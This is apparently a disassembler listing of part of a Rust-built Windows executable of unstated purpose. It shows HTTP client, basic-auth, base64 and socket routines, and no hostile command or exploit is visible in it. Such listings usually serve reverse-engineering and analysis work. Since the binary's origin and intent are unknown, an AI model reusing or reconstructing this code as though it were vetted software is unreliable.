and qword [rsp + 0x180], 0
mov qword [rsp + 0x680], rbx
and qword [rsp + 0x190], 0
mov qword [rsp + 0x688], rdi
and qword [rsp + 0x1a0], 0
mov qword [rsp + 0x1b8], shutdown
and dword [rsp + 0x1c0], 0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x6a8], rax
and qword [rsp + 0x1c8], 0
mov byte [rsp + 0x6f1], r13b
movups xmm0, xmmword [rsp + 0x320]
movabs rax, 0x20000000500000
mov qword [rsp + 0x1d8], rax
mov dword [rsp + 0x1e0], 0x4000
and word [rsp + 0x1e4], 0
movups xmmword [rsp + 0x6b0], xmm0
and dword [rsp + 0x1e8], 0
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x6c0], rax
mov byte [rsp + 0x1ec], cl
mov qword [rsp + 0x1f0], 1
mov qword [rsp + 0x1f8], 0x5a
and dword [rsp + 0x200], 0
mov al, byte [rsp + 0x405]
mov byte [rsp + 0x6f0], al
cmp byte [rsp + 0x409], cl
je 0x140004256
mov byte [rsp + 0x212], 1
cmp dword [rsp + 0x3d8], 1
jne 0x140004276
mov eax, dword [rsp + 0x3dc]
mov byte [rsp + 0x1e4], 0
mov dword [rsp + 0x1dc], eax
cmp dword [rsp + 0x3e0], 1
jne 0x140004296
mov eax, dword [rsp + 0x3e4]
mov byte [rsp + 0x1e4], 0
mov dword [rsp + 0x1d8], eax
cmp byte [rsp + 0x40b], 0
je 0x1400042ba
mov byte [rsp + 0x1e4], 1
movabs rax, 0xffff0000ffff
mov qword [rsp + 0x1d8], rax
cmp dword [rsp + 0x3e8], 1
jne 0x1400042d2
mov eax, dword [rsp + 0x3ec]
mov dword [rsp + 0x1e0], eax
mov qword [rsp + 0xb0], r14
lea rbx, [rsp + 0x210]
movups xmm0, xmmword [rsp + 0x338]
movups xmm1, xmmword [rsp + 0x348]
movups xmm2, xmmword [rsp + 0x358]
movups xmmword [rbx - 0x20], xmm0
movups xmmword [rbx - 0x10], xmm1
mov rax, qword [rsp + 0x368]
mov qword [rsp + 0x890], rax
movaps xmmword [rsp + 0x880], xmm2
lea rcx, [rsp + 0x680]
call fcn.1400473bf
mov rcx, qword [rsp + 0x890]
mov qword [rax + 0x40], rcx
movaps xmm0, xmmword [rsp + 0x880]
movups xmmword [rax + 0x30], xmm0
cmp byte [rsp + 0x40a], 0
je 0x140004351
mov byte [rsp + 0x1ea], 1
mov al, byte [rbx + 2]
lea rcx, [rsp + 0x410]
mov byte [rcx + 0x102], al
movzx eax, word [rbx]
mov word [rcx + 0x100], ax
lea r14, [rsp + 0x170]
mov rdx, r14
call fcn.140085887
lea rdi, [rsp + 0x490]
push recv
pop rcx
lea rsi, [rsp + 0x680]
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbx - 0x10]
mov qword [rsp + 0x890], rax
movups xmm0, xmmword [rbx - 0x20]
movaps xmmword [rsp + 0x880], xmm0
mov r15, qword [r14 + 0x98]
test r15, r15
je 0x1400044b8
lea rcx, fcn.1400bacd0
call fcn.140035c07
mov rbx, rax
mov rsi, rdx
call fcn.14008d7cf
mov rdi, rax
mov r13, rdx
call fcn.14008d7cf
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rdx
lea rcx, [rsp + 0x170]
call fcn.140071206
mov r12, rax
mov r14, rdx
push 8
pop rdx
mov ecx, 0xe8
call fcn.140035b9b
push 1
pop rcx
mov qword [rax], rcx
mov qword [rax + 8], rcx
and qword [rax + 0x10], 0
mov byte [rax + 0x18], 0
mov qword [rax + 0x20], rbx
mov qword [rax + 0x28], rsi
and qword [rax + 0x30], 0
lea rcx, [0x14018cb00]
mov qword [rax + 0x38], rcx
xorps xmm0, xmm0
movups xmmword [rax + 0x40], xmm0
mov qword [rax + 0x50], rdi
mov qword [rax + 0x58], r13
and qword [rax + 0x60], 0
mov qword [rax + 0x68], rcx
movups xmmword [rax + 0x70], xmm0
mov qword [rax + 0x80], r15
mov rdx, qword [rsp + 0x60]
mov qword [rax + 0x88], rdx
mov rdx, qword [rsp + 0x68]
mov qword [rax + 0x90], rdx
and qword [rax + 0x98], 0
mov qword [rax + 0xa0], rcx
and qword [rax + 0xb8], 0
movups xmmword [rax + 0xa8], xmm0
mov qword [rax + 0xc0], r12
mov qword [rax + 0xc8], r14
mov rcx, qword [rsp + 0x890]
mov qword [rax + 0xe0], rcx
movaps xmm0, xmmword [rsp + 0x880]
movups xmmword [rax + 0xd0], xmm0
jmp 0x1400044ba
xor eax, eax
mov qword [rsp + 0x508], rax
mov rax, qword [rsp + 0x50]
mov rsi, qword [rax + 0x10]
imul r12, qword [rax + 0x20], 0x88
xor edi, edi
lea r13, [0x140008568]
lea r14, [0x1401f166b]
push 4
pop r15
cmp r12, rdi
je 0x140004541
mov rax, qword [rsi + rdi]
cmp rax, 4
ja case.0x140004500.2
mov bl, 1
movsxd rax, dword [r13 + rax*4]
add rax, r13
jmp rax
cmp qword [rsi + rdi + 8], 0
jne case.0x140004500.2
cmp byte [rsi + rdi + 0x30], 2
je case.0x140004500.2
jmp case.0x140004500.4
mov rcx, qword [rsi + rdi + 8]
add rcx, 0x10
mov rdx, r14
mov r8, r15
call fcn.140085dac
test rax, rax
je case.0x140004500.2
cmp qword [rax], 0
jne case.0x140004500.2
cmp byte [rax + 0x28], 2
jne case.0x140004500.4
add rdi, 0x88
jmp 0x1400044e7
xor ebx, ebx
lea rcx, [rsp + 0x8e0]
lea r14, [rsp + 0x410]
mov r8d, 0x108
mov rdx, r14
call fcn.1400def70
push 0xc
pop rcx
lea r15, [rsp + 0x880]
lea rax, [rsp + 0x2c0]
mov rdi, r15
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rax + 0xd8]
mov qword [r15 + 0x178], rcx
movups xmm0, xmmword [rax + 0xc8]
movups xmmword [r15 + 0x168], xmm0
mov sil, byte [rax + 0x147]
movups xmm0, xmmword [rax + 0xe0]
movups xmmword [r15 + 0x180], xmm0
mov rcx, qword [rax + 0xf0]
mov qword [r15 + 0x190], rcx
mov dil, byte [rax + 0x14e]
push 8
pop rdx
mov ecx, 0x1b8
call fcn.140035b9b
mov r12, rax
push 1
pop r13
mov qword [rax], r13
mov qword [rax + 8], r13
lea rcx, [rax + 0x10]
mov r8d, 0x198
mov rdx, r15
call fcn.1400def70
mov rax, qword [rsp + 0x50]
mov qword [r12 + 0x1a8], rax
mov byte [r12 + 0x1b0], sil
mov byte [r12 + 0x1b1], bl
mov byte [r12 + 0x1b2], dil
lea rcx, [rsp + 0x170]
call fcn.140002577
lea rcx, [rsp + 0x3d0]
call fcn.1400a143f
mov rax, qword [rsp + 0x58]
mov qword [rax + 0x60], r12
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
mov rdx, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xa0]
call fcn.14009b849
mov rax, qword [0x1401b3f00]
mov qword [r14 + 0x10], rax
movups xmm0, xmmword [0x1401b3ef0]
movaps xmmword [r14], xmm0
mov rbx, qword [rsi]
cmp rbx, r13
jne 0x140004692
mov rdi, qword [rsp + 0x2c8]
lea rcx, [rsp + 0x410]
call fcn.1400025ce
push 1
pop rax
jmp 0x1400046f1
lea rsi, [rsp + 0x2c8]
lea rdi, [rsp + 0x898]
mov qword [rdi - 8], rax
movaps xmmword [rdi - 0x18], xmm0
push 0xb
pop rcx
rep movsq qword [rdi], qword [rsi]
lea rsi, [rsp + 0x8f0]
mov rcx, rsi
call fcn.1400371f8
mov qword [rsi + 0x60], 2
and qword [rsi + 0x88], 0
mov rdi, qword [rsi - 0x70]
lea rdx, [rsp + 0x888]
lea rcx, [rsp + 0x680]
mov r8d, 0x108
call fcn.1400def70
xor eax, eax
mov r14, qword [rsp + 0xb0]
lock inc qword [r12]
jle 0x1400081aa
lea rsi, [rsp + 0x428]
mov qword [rsi - 0x10], rax
mov qword [rsi - 8], rdi
lea rdx, [rsp + 0x680]
mov r8d, 0x108
mov rcx, rsi
call fcn.1400def70
mov qword [rsi - 0x18], r12
mov r15b, 5
mov dil, 1
test rbx, rbx
jne 0x140004793
lea r12, [rsp + 0x438]
mov edx, dword [r12 + 0x18]
mov rcx, r12
call fcn.1400529c3
lea r8, [0x1401f1330]
push 3
pop r9
mov rcx, rax
call fcn.1400481d3
test al, al
je 0x140004793
mov rcx, r12
call fcn.1400c9fb7
lea r8, [rdx + rax]
lea rdi, [rsp + 0x880]
mov rcx, rdi
mov rdx, rax
call fcn.14005093f
cmp dword [rdi], 1
jne 0x140004d48
mov r15b, 5
mov dil, 1
xor r13d, r13d
mov qword [rsp + 0xe8], r14
mov rsi, qword [rsp + 0x70]
mov bl, 1
mov r14b, byte [rsp + 0x88]
mov al, byte [rsp + 0x98]
mov byte [rsp + 0x4f], al
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x410]
mov r8d, 0x120
call fcn.1400def70
cmp dword [rsp + 0x178], 1
jne 0x1400047ed
push 1
pop rsi
mov rbx, qword [rsp + 0x180]
jmp 0x1400049e8
mov byte [rsp + 0x48], r15b
mov byte [rsp + 0x4a], dil
mov qword [rsp + 0xa8], rsi
mov word [rsp + 0x4c], r12w
mov byte [rsp + 0x49], bl
lea rbx, [rsp + 0x180]
mov rax, qword [rbx + 0xf8]
mov qword [rsp + 0xd10], rax
mov rax, qword [rbx + 0x100]
mov qword [rsp + 0xd08], rax
mov r15d, dword [rbx + 0x108]
lea rcx, [rsp + 0x880]
mov r8d, 0xf8
mov rdx, rbx
call fcn.1400def70
movups xmm0, xmmword [rbx]
lea r9, [rsp + 0x2d8]
movaps xmmword [r9 - 0x18], xmm0
mov rax, qword [rbx + 0x10]
mov qword [r9 - 8], rax
lea rsi, [rsp + 0x898]
push 0xb
pop r8
mov rcx, r8
mov rdi, r9
rep movsq qword [rdi], qword [rsi]
lea rdx, [rsp + 0x330]
lea rax, [rsp + 0x8f0]
push 0xc
pop r10
mov rcx, r10
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rax + 0x80]
mov qword [rdx + 0x80], rcx
movups xmm0, xmmword [rax + 0x60]
movups xmm1, xmmword [rax + 0x70]
movaps xmmword [rdx + 0x70], xmm1
movaps xmmword [rdx + 0x60], xmm0
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x540], rax
movups xmm0, xmmword [rbx]
movaps xmmword [rsp + 0x530], xmm0
lea rax, [rsp + 0x560]
mov rcx, r8
mov rdi, rax
mov rsi, r9
rep movsq qword [rdi], qword [rsi]
lea rdi, [rsp + 0x680]
mov rcx, r10
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rdx + 0x80]
mov qword [rsp + 0x660], rcx
movaps xmm0, xmmword [rdx + 0x60]
movaps xmm1, xmmword [rdx + 0x70]
movaps xmmword [rsp + 0x650], xmm1
movaps xmmword [rsp + 0x640], xmm0
mov rcx, rax
call fcn.1400529a9
lea r8, [0x1401f166b]
push 4
pop r9
mov rcx, rax
call fcn.1400a144a
test al, al
je 0x14000495d
lea rcx, [rsp + 0x560]
call fcn.1400529a9
lea r8, [0x1401f166f]
push 5
pop r9
mov rcx, rax
call fcn.1400a144a
test al, al
jne 0x14000499a
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0xa0], rax
cmp byte [rax + 0x1b2], 0
je 0x1400049f5
lea rcx, [rsp + 0x560]
call fcn.1400529a9
lea r8, [0x1401f166f]
push 5
pop r9
mov rcx, rax
call fcn.1400a144a
test al, al
je 0x1400049f5
push 0xb
pop rcx
lea rax, [rsp + 0x880]
lea rsi, [rsp + 0x560]
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, rax
call fcn.14009bd7f
mov rbx, rax
lea rcx, [rsp + 0x640]
call fcn.140056d8a
lea rcx, [rsp + 0x680]
call fcn.140050fda
lea rcx, [rsp + 0x530]
call fcn.140050fcb
push 1
pop rsi
mov qword [rsp + 0x90], rax
jmp 0x140005a3b
mov dword [rsp + 0x2bc], r15d
mov byte [rsp + 0x4b], r14b
mov qword [rsp + 0x90], r13
xor eax, eax
mov rcx, qword [rsp + 0xa0]
cmp qword [rcx + 0x30], 0
lea rcx, [rcx + 0x10]
sete al
add rax, rax
lea rdx, [rsp + 0x410]
mov qword [rdx], rcx
and qword [rdx + 8], 0
mov qword [rdx + 0x10], rax
lea rcx, [rsp + 0x410]
call fcn.140036430
test rax, rax
je 0x140004cdc
mov qword [rsp + 0xc8], rdx
lea rcx, [rsp + 0x680]
mov qword [rsp + 0x60], rax
call fcn.14001def1
mov rcx, qword [rsp + 0x6c0]
mov rdx, qword [rsp + 0x6c8]
mov r8, qword [rsp + 0x6d0]
mov r9, qword [rsp + 0x60]
call fcn.1400401df
mov rdx, qword [rsp + 0x60]
mov r9d, eax
mov r10d, dword [rsp + 0x6d8]
mov r12, r10
mov ecx, 0xffff
and r12, rcx
mov eax, r9d
and eax, r10d
and rax, rcx
mov r13, qword [rsp + 0x680]
mov r15, qword [rsp + 0x688]
mov r11, qword [rsp + 0x6a0]
mov rcx, qword [rsp + 0x690]
mov qword [rsp + 0x50], rcx
mov rcx, rdx
add rcx, 8
mov qword [rsp + 0x78], rcx
xor esi, esi
lea r8, [rsp + 0x880]
mov qword [rsp + 0x68], r11
mov r14, rax
mov eax, 0
cmp r14, r15
jae 0x140004aed
movzx ecx, word [r13 + r14*4]
cmp rcx, 0xffff
je 0x140004bab
movzx eax, word [r13 + r14*4 + 2]
mov ebx, r10d
and ebx, eax
mov edi, r14d
sub edi, ebx
mov ebx, r12d
and ebx, edi
cmp rbx, rsi
jb 0x140004bab
cmp ax, r9w
jne 0x140004b9d
cmp r11, rcx
jbe 0x1400051ed
imul rax, rcx, 0x70
mov rcx, qword [rsp + 0x50]
mov cl, byte [rcx + rax]
cmp cl, byte [rdx]
jne 0x140004b9d
test cl, cl
je 0x140004b8b
mov rcx, qword [rsp + 0x50]
add rcx, rax
add rcx, 8
mov rdx, qword [rsp + 0x78]
mov edi, r9d
mov rbx, r10
call fcn.14000df77
mov r11, qword [rsp + 0x68]
mov r10, rbx
mov rdx, qword [rsp + 0x60]
mov r9d, edi
lea r8, [rsp + 0x880]
test al, al
je 0x140004b9d
jmp 0x140004a37
mov rcx, qword [rsp + 0x50]
mov al, byte [rcx + rax + 1]
cmp al, byte [rdx + 1]
je 0x140004a37
inc rsi
inc r14
mov rax, r14
jmp 0x140004aed
mov dword [rsp + 0x50], r9d
cmp rsi, 0x1ff
seta al
cmp qword [rsp + 0x6c0], 2
setne bl
and bl, al
mov rcx, r8
mov rsi, r8
call fcn.14003bc4a
mov rax, qword [rsp + 0x880]
mov qword [rsp + 0x60], rax
mov r9, qword [rsp + 0x888]
mov r12, qword [rsp + 0x890]
mov r13, qword [rsp + 0x898]
mov r10b, byte [rsp + 0x8a0]
mov r11b, byte [rsp + 0x8a1]
mov r15b, byte [rsp + 0x8a2]
mov al, byte [rsp + 0x8a3]
mov cl, byte [rsp + 0x8a4]
mov dl, byte [rsp + 0x8a5]
movzx r8d, word [rsp + 0x8a6]
lea rdi, [rsp + 0x680]
mov qword [rsp + 0x880], rdi
mov rdi, qword [rsp + 0x60]
mov qword [rsp + 0x888], rdi
mov qword [rsp + 0x890], r9
mov qword [rsp + 0x898], r12
mov qword [rsp + 0x8a0], r13
mov byte [rsp + 0x8a8], r10b
mov byte [rsp + 0x8a9], r11b
mov byte [rsp + 0x8aa], r15b
mov byte [rsp + 0x8ab], al
mov byte [rsp + 0x8ac], cl
mov byte [rsp + 0x8ad], dl
mov word [rsp + 0x8ae], r8w
mov qword [rsp + 0x8b0], r14
mov eax, dword [rsp + 0x50]
mov word [rsp + 0x8b8], ax
mov byte [rsp + 0x8ba], bl
lea rdi, [rsp + 0x2c0]
mov rcx, rdi
mov rdx, qword [rsp + 0xc8]
call fcn.14008f8de
mov rcx, rsi
mov rdx, rdi
call fcn.140040084
jmp 0x140004a37
lea rcx, [rsp + 0xf0]
lea rdx, [rsp + 0x560]
call fcn.1400a145a
cmp dword [rsp + 0x640], 2
jne 0x140004dc3
xorps xmm0, xmm0
movaps xmmword [rsp + 0xd0], xmm0
lea r12, [0x1401aa980]
lea rax, [0x1401f2970]
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x48], 5
mov byte [rsp + 0x4a], 1
xor eax, eax
mov qword [rsp + 0x90], rax
mov byte [rsp + 0x49], 1
xor r14d, r14d
xor eax, eax
mov qword [rsp + 0x5d8], rax
jmp 0x140005069
mov r9, qword [rsp + 0x888]
mov rdi, qword [rsp + 0x890]
mov rsi, qword [rsp + 0x898]
mov r15b, byte [rsp + 0x8a0]
mov r10b, byte [rsp + 0x8a1]
mov r11b, byte [rsp + 0x8a2]
mov cl, byte [rsp + 0x8a3]
mov r8b, byte [rsp + 0x8a4]
mov bl, byte [rsp + 0x8a5]
movzx eax, word [rsp + 0x8a6]
cmp r9, 2
mov qword [rsp + 0xe8], rdi
mov byte [rsp + 0x4f], bl
jne 0x140004ecd
mov r12d, eax
mov r13, rcx
mov r14d, r8d
mov edi, r15d
mov r15d, r10d
mov ebx, r11d
jmp 0x1400047b8
movaps xmm0, xmmword [rsp + 0x640]
movaps xmm1, xmmword [rsp + 0x650]
movaps xmmword [rsp + 0x880], xmm0
mov rax, qword [rsp + 0x660]
mov qword [rsp + 0x8a0], rax
movaps xmmword [rsp + 0x890], xmm1
cmp dword [rsp + 0x880], 1
jne 0x140004fcb
xor eax, eax
mov qword [rsp + 0x60], rax
push 1
pop r14
mov rsi, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0xa8]
mov bl, byte [rsp + 0x4b]
mov cl, byte [rsp + 0x4f]
jmp 0x140005029
lea rdx, [rsp + 0x2c0]
mov qword [rdx + 8], rdi
mov qword [rsp + 0xa8], rsi
mov qword [rdx + 0x10], rsi
mov byte [rdx + 0x18], r15b
mov byte [rsp + 0x48], r10b
mov byte [rdx + 0x19], r10b
mov esi, r11d
mov byte [rdx + 0x1a], r11b
mov qword [rsp + 0x90], rcx
mov byte [rdx + 0x1b], cl
mov byte [rsp + 0x4b], r8b
mov byte [rdx + 0x1c], r8b
mov byte [rdx + 0x1d], bl
mov word [rdx + 0x1e], ax
mov qword [rdx], r9
lea rcx, [rsp + 0x170]
mov edi, eax
call fcn.14009ba74
mov rcx, r12
call fcn.1400c9ff2
test rax, rax
mov word [rsp + 0x4c], di
mov byte [rsp + 0x49], sil
mov byte [rsp + 0x4a], r15b
je 0x1400051fe
mov r8, rdx
add r8, rax
lea rdi, [rsp + 0x880]
mov rcx, rdi
mov rdx, rax
call fcn.14005093f
cmp dword [rdi], 1
jne 0x140005218
mov r8b, 5
mov r9b, 1
xor r10d, r10d
mov r11, r14
mov rdi, qword [rsp + 0x70]
mov cl, 1
mov bl, byte [rsp + 0x88]
mov al, byte [rsp + 0x98]
mov r15b, byte [rsp + 0x48]
push 2
pop rdx
jmp 0x14000526b
lea rax, [rsp + 0x170]
mov qword [rsp + 0x410], rax
lea r8, [rsp + 0x880]
mov qword [r8], r12
lea rcx, [0x140202b38]
lea r9, [0x1401b30c0]
xor edx, edx
call fcn.1400ec220
jmp 0x1400031a9
lea r14, [rsp + 0x888]
lea rdi, [rsp + 0x2c0]
mov rcx, rdi
mov rdx, r14
call fcn.14000dc00
mov rsi, qword [rdi]
mov rdx, qword [rdi + 8]
mov al, byte [rdi + 0x10]
mov byte [rsp + 0x4a], al
mov al, byte [rdi + 0x11]
mov byte [rsp + 0x48], al
mov al, byte [rdi + 0x12]
mov byte [rsp + 0x49], al
mov al, byte [rdi + 0x13]
mov qword [rsp + 0x90], rax
mov bl, byte [rdi + 0x14]
mov cl, byte [rdi + 0x15]
movzx eax, word [rdi + 0x16]
mov word [rsp + 0x4c], ax
mov rax, qword [rdi + 0x18]
mov qword [rsp + 0x60], rax
mov r14, qword [r14 - 8]
mov rax, qword [rsp + 0x888]
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [rsp + 0x890]
movaps xmmword [rsp + 0xd0], xmm0
mov r12, qword [rsp + 0x8a0]
mov qword [rsp + 0xb0], rsi
mov qword [rsp + 0x70], rdx
mov byte [rsp + 0x88], bl
mov byte [rsp + 0x98], cl
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x7f0], xmm0
mov rax, qword [rsp + 0xa0]
cmp byte [rax + 0x1b1], 0
je 0x1400057e4
cmp byte [rsp + 0xf0], 0
je 0x1400057e4
lea rdx, [0x1401f3650]
lea rcx, [rsp + 0xf0]
call fcn.14003d70a
test al, al
je 0x1400057e4
mov rax, qword [0x1401b3d40]
lea rdx, [rsp + 0x410]
mov qword [rdx + 0x20], rax
movups xmm6, xmmword [0x1401b3d30]
movaps xmmword [rdx + 0x10], xmm6
movups xmm7, xmmword [0x1401b3d20]
movaps xmmword [rdx], xmm7
lea rcx, [rsp + 0x680]
call fcn.14001e7d7
test al, al
jne 0x1400057e4
mov rax, qword [rsp + 0xa0]
mov rax, qword [rax + 0x1a8]
mov rsi, qword [rax + 0x10]
imul rbx, qword [rax + 0x20], 0x88
add rsi, 8
lea r15, [0x14000857c]
test rbx, rbx
je 0x1400057e4
mov rax, qword [rsi - 8]
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
lea rcx, [rsp + 0xf0]
call fcn.140085d4b
mov rcx, rax
lea r8, [0x1401f166b]
push 4
jmp 0x1400051cb
pop r9
call fcn.140085d77
test al, al
jne 0x140005611
add rsi, 0x88
add rbx, 0xffffffffffffff78
jmp 0x14000511b
lea r8, str.C:Usersyyy.cargo_registry_srcgithub.com_1ecc6299db9ec823http_0.2.4_srcheadermap.rsassertion_failed:_i___self.len__
mov rdx, r11
call fcn.1400ea290
ud2
mov ecx, edi
mov edi, r15d
mov ebx, esi
and qword [rsp + 0x2c0], 0
mov r15b, byte [rsp + 0x48]
jmp 0x1400052c7
mov rdx, qword [rsp + 0x888]
mov r11, qword [rsp + 0x890]
mov rdi, qword [rsp + 0x898]
mov r9b, byte [rsp + 0x8a0]
mov r8b, byte [rsp + 0x8a1]
mov cl, byte [rsp + 0x8a2]
mov r10b, byte [rsp + 0x8a3]
mov bl, byte [rsp + 0x8a4]
mov al, byte [rsp + 0x8a5]
movzx r14d, word [rsp + 0x8a6]
mov r15b, byte [rsp + 0x48]
cmp rdx, 2
jne 0x14000527c
and qword [rsp + 0x2c0], 0
jmp 0x1400052b9
mov rsi, rdx
lea rdx, [rsp + 0x880]
mov qword [rdx], rsi
mov qword [rdx + 8], r11
mov qword [rdx + 0x10], rdi
mov byte [rdx + 0x18], r9b
mov byte [rdx + 0x19], r8b
mov byte [rdx + 0x1a], cl
mov byte [rdx + 0x1b], r10b
mov byte [rdx + 0x1c], bl
mov byte [rdx + 0x1d], al
mov word [rdx + 0x1e], r14w
lea rcx, [rsp + 0x2c0]
call fcn.14000c180
mov bl, byte [rsp + 0x49]
movzx ecx, word [rsp + 0x4c]
mov dil, byte [rsp + 0x4a]
cmp qword [rsp + 0x180], 0
jne 0x1400052e1
cmp qword [rsp + 0x2c0], 0
je 0x14000564e
mov rcx, r12
call fcn.1400d1fc5
lea rdx, [0x1401b423a]
lea r9, str.C:Usersyyy.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.3_src_async_impl_request.rs
push 0x2f
pop rdi
mov ecx, eax
mov r8, rdi
call fcn.14008514e
mov rcx, r12
call fcn.1400d2197
lea rdx, str.has_authority_means_set_password_shouldnt_fail
lea r9, str.C:Usersyyy.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.3_src_async_impl_request.rs
mov ecx, eax
mov r8, rdi
call fcn.14008514e
mov rsi, qword [rsp + 0x170]
movups xmm0, xmmword [rsp + 0x178]
mov rax, qword [rsp + 0x2d0]
movups xmm1, xmmword [rsp + 0x2c0]
movaps xmmword [rsp + 0x790], xmm0
movaps xmmword [rsp + 0x7a0], xmm1
mov qword [rsp + 0x7b0], rax
test rsi, rsi
je 0x1400055ec
lea rcx, [rsp + 0x2c0]
lea rdx, [rsp + 0x410]
mov r8d, 0x120
call fcn.1400def70
lea r14, [rsp + 0x158]
mov qword [r14], rsi
movaps xmm0, xmmword [rsp + 0x790]
movaps xmm1, xmmword [rsp + 0x7a0]
movups xmmword [r14 + 8], xmm0
mov rax, qword [rsp + 0x7b0]
mov qword [rsp + 0x800], rax
movaps xmmword [rsp + 0x7f0], xmm1
lea rdx, str.Basic_integer_overflow_when_calculating_buffer_size
lea rsi, [rsp + 0x530]
push 6
pop r8
mov rcx, rsi
call fcn.14008f637
lea rdi, [rsp + 0x89b]
xor ebx, ebx
mov r8d, 0x403
mov rcx, rdi
xor edx, edx
call fcn.1400df620
mov byte [rdi - 1], bl
mov word [rdi - 3], 0x100
mov qword [rdi - 0x1b], rsi
mov byte [rdi + 0x403], bl
xorps xmm0, xmm0
movups xmmword [rdi - 0x13], xmm0
lea rsi, [rsp + 0xf0]
mov qword [rsi], r14
lea rax, [0x1401b6cf0]
lea rdx, [rsp + 0x170]
mov qword [rdx], rax
mov qword [rdx + 8], 2
and qword [rdx + 0x10], 0
lea rdi, [0x140002a81]
mov qword [rsi + 8], rdi
mov qword [rdx + 0x20], rsi
mov qword [rdx + 0x28], 1
lea rcx, [rsp + 0x880]
call fcn.14009978b
lea r8, str.C:Usersyyy.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.3_src_async_impl_request.rs
mov rcx, rax
call fcn.1400a1fe7
cmp qword [rsp + 0x7f0], 0
mov r14b, byte [rsp + 0x4b]
je 0x1400054e9
lea rax, [rsp + 0x7a0]
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x100], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xf0], xmm0
lea rax, [0x1401f2880]
lea rdx, [rsp + 0x170]
mov qword [rdx], rax
lea rax, [rsp + 0x560]
mov qword [rdx + 8], r13
and qword [rdx + 0x10], 0
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rdx + 0x20], rax
mov qword [rdx + 0x28], r13
lea rcx, [rsp + 0x880]
call fcn.14009978b
lea r8, str.C:Usersyyy.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.3_src_async_impl_request.rs
mov rcx, rax
call fcn.1400a1fe7
mov rcx, rsi
call fcn.14000d698
cmp byte [rsp + 0xc9e], 0
mov r13, qword [rsp + 0x90]
mov bl, byte [rsp + 0x49]
movzx r12d, word [rsp + 0x4c]
mov dil, byte [rsp + 0x4a]
jne 0x140007e98
mov bl, 3
cmp qword [rsp + 0x880], 0
je 0x140005685
lea rcx, [rsp + 0x880]
call fcn.1400a0fc4
cmp al, 3
jne 0x14000568a
mov r8, qword [rsp + 0x888]
test r8, r8
je 0x140005685
mov r13d, edi
lea rsi, [rsp + 0x89b]
lea r9, str.C:Usersyyy.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcwriteencoder.rs
push 3
pop rdx
mov rcx, rsi
call fcn.140036ee7
mov r14, rax
mov r12, rdx
movzx eax, byte [rsi - 1]
shl eax, 0x10
movzx edi, word [rsi - 3]
or edi, eax
mov rcx, rdx
mov edx, edi
call fcn.14000d013
test rax, rax
je 0x1400083b0
mov rsi, rdx
lea r15, [rsp + 0x89e]
lea rax, str.X_e_
mov qword [rsp + 0x20], rax
mov r9d, 0x400
xor ecx, ecx
mov r8, r15
call fcn.14000c470
mov qword [rsp + 0x20], rdx
mov rcx, r14
mov rdx, r12
mov r8d, edi
mov r9, rax
call fcn.14000c56b
mov qword [r15 - 0xe], rsi
lea rcx, [rsp + 0x880]
call fcn.1400a0fc4
cmp al, 3
jne 0x140007e48
and qword [rsp + 0x888], 0
jmp 0x140007e56
mov r13, qword [rsp + 0x90]
movzx r12d, word [rsp + 0x4c]
mov rsi, qword [rsp + 0xa8]
mov r14b, byte [rsp + 0x4b]
mov dil, byte [rsp + 0x4a]
jmp 0x1400047b8
mov rax, qword [rsi - 8]
lea rdi, [rsp + 0x790]
cmp rax, 4
ja case.0x140005631.2
lea rcx, [0x140008590]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rdi, [rsp + 0x790]
cmp qword [rsi], 0
je 0x14000569d
mov byte [rsp + 0x7b0], 2
jmp 0x140005766
mov r12d, ecx
lea rcx, [rsp + 0x2c0]
call fcn.14000259b
lea rcx, [rsp + 0x170]
call fcn.14000d698
mov r13, qword [rsp + 0x90]
mov rsi, qword [rsp + 0xa8]
mov r14b, byte [rsp + 0x4b]
jmp 0x1400047b8
jmp 0x140007e71
mov rcx, rax
shrd rcx, rdx, 8
shr rdx, 8
mov ebx, eax
jmp 0x140007e71
add rsi, 8
lea rcx, [rsp + 0x790]
mov rdx, rsi
call fcn.14008b06b
jmp 0x140005766
mov rcx, qword [rsi]
add rcx, 0x10
lea rdx, [0x1401f166b]
push 4
pop r8
call fcn.140085dac
test rax, rax
je 0x1400056dc
cmp qword [rax], 0
je 0x140008141
lea rdi, [rsp + 0x790]
mov byte [rdi + 0x20], 2
jmp 0x140005766
lea rdi, [rsp + 0x2c0]
lea r8, [rsp + 0xf0]
mov rcx, rdi
mov rdx, rsi
call fcn.14008599d
cmp dword [rdi], 2
jne 0x140005714
mov byte [rsp + 0x7b0], 2
jmp 0x14000575e
push reloc.WS2_32.dll_ioctlsocket
pop rcx
lea rax, [rsp + 0x880]
lea rsi, [rsp + 0x2c0]
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rax + 0x28]
mov qword [rsp + 0x7b0], rcx
movups xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
movaps xmmword [rsp + 0x7a0], xmm1
movaps xmmword [rsp + 0x790], xmm0
lea rcx, [rsp + 0x8b0]
